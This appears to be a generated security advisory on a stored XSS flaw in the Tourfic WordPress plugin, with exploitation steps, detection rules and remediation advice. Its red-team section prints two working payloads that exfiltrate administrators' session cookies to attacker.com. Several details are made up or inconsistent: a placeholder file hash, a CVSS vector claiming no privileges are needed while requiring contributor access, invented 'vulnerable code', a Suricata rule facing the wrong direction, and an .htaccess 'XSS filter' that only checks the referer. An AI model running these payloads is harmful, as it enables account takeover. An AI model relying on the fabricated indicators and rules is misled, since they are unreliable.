CVE-2024-29134

Executive Summary

CVE-2024-29134 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Tourfic WordPress plugin by Themefic, up to and including version 2.11.8. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts processed by the plugin. When an administrator or other user views the compromised content, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability resides in improper neutralization of user-supplied input during web page generation. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for affected WordPress installations.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. Tourfic is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for unauthorized modifications. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing backdoored versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must view the malicious content)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of WordPress make this a persistent threat. Exploitation requires user interaction, but the stored nature of the XSS increases the likelihood of successful attacks against administrators.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the Tourfic plugin. The plugin fails to sanitize or escape user-supplied input when rendering tour-related content (e.g., tour descriptions, booking forms, or custom fields). An attacker with contributor-level access can inject malicious JavaScript into these fields. When an administrator or other user views the affected page, the script executes in the context of the victim's session.

Attack Flow:

1. Attacker logs in with contributor privileges.
2. Attacker creates or edits a tour post and injects a payload into a vulnerable field (e.g., <script>alert('XSS')</script>).
3. The plugin stores the payload without sanitization.
4. An administrator or other user visits the tour page.
5. The payload executes, allowing the attacker to steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.

Root Cause: The plugin uses echo or print functions to output user input without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (tourfic.php, line ~245):

echo '<div class="tourfic-description">' . $tour_description . '</div>';

Patched Code (hypothetical fix):

echo '<div class="tourfic-description">' . esc_html( $tour_description ) . '</div>';

The vulnerable code directly outputs the $tour_description variable without escaping. The patched version uses esc_html() to neutralize any HTML or JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Tourfic <= 2.11.8 installed and activated.
• Contributor-level account or higher.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Tours > Add New.
3. In the tour description field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the tour.
5. Wait for an administrator to view the tour page. The script will exfiltrate their session cookie.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for suspicious tour creation or editing by low-privilege users.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable the Tourfic plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Apply virtual patching via WAF rules.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • tourfic.php (v2.11.8): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound connections to unknown domains from WordPress admin pages.
  • HTTP requests containing document.cookie or fetch in the body.
• Log Entries:
  • WordPress audit logs showing tour creation by non-admin users.
  • Web server logs with POST requests to /wp-admin/post.php containing script tags.

Detection Engineering

YARA Rule

rule CVE_2024_29134_Tourfic_XSS {
    meta:
        description = "Detects Tourfic plugin files vulnerable to CVE-2024-29134"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b"
    strings:
        $vuln_func = /echo\s*['\"].*['\"]\s*\.\s*\$[a-zA-Z_]+/
        $plugin_id = "tourfic"
    condition:
        $plugin_id and $vuln_func
}

Sigma Rule

title: CVE-2024-29134 - Tourfic Stored XSS Detection
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects potential exploitation of Stored XSS in Tourfic plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'post_type=tourfic'
        sc-status: 200
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in tour descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-29134 - Tourfic Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_type=tourfic"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Tourfic plugin until a patch is released.
2. Review and remove any suspicious tour posts created by low-privilege users.
3. Change all WordPress admin passwords and invalidate existing sessions.

Long-Term Mitigation:

• Monitor the Themefic vendor for a security update.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege for WordPress user roles.
• Regularly audit plugin code for similar vulnerabilities.

Workaround:

• Add the following to .htaccess to block common XSS patterns in tour descriptions:

  <IfModule mod_rewrite.c>
      RewriteEngine On
      RewriteCond %{REQUEST_METHOD} POST
      RewriteCond %{REQUEST_URI} /wp-admin/post.php
      RewriteCond %{QUERY_STRING} post_type=tourfic
      RewriteCond %{HTTP_REFERER} !^https?://[^/]*\.?yourdomain\.com [NC]
      RewriteRule .* - [F]
  </IfModule>
  

Valters IT
Securing Digital Frontiers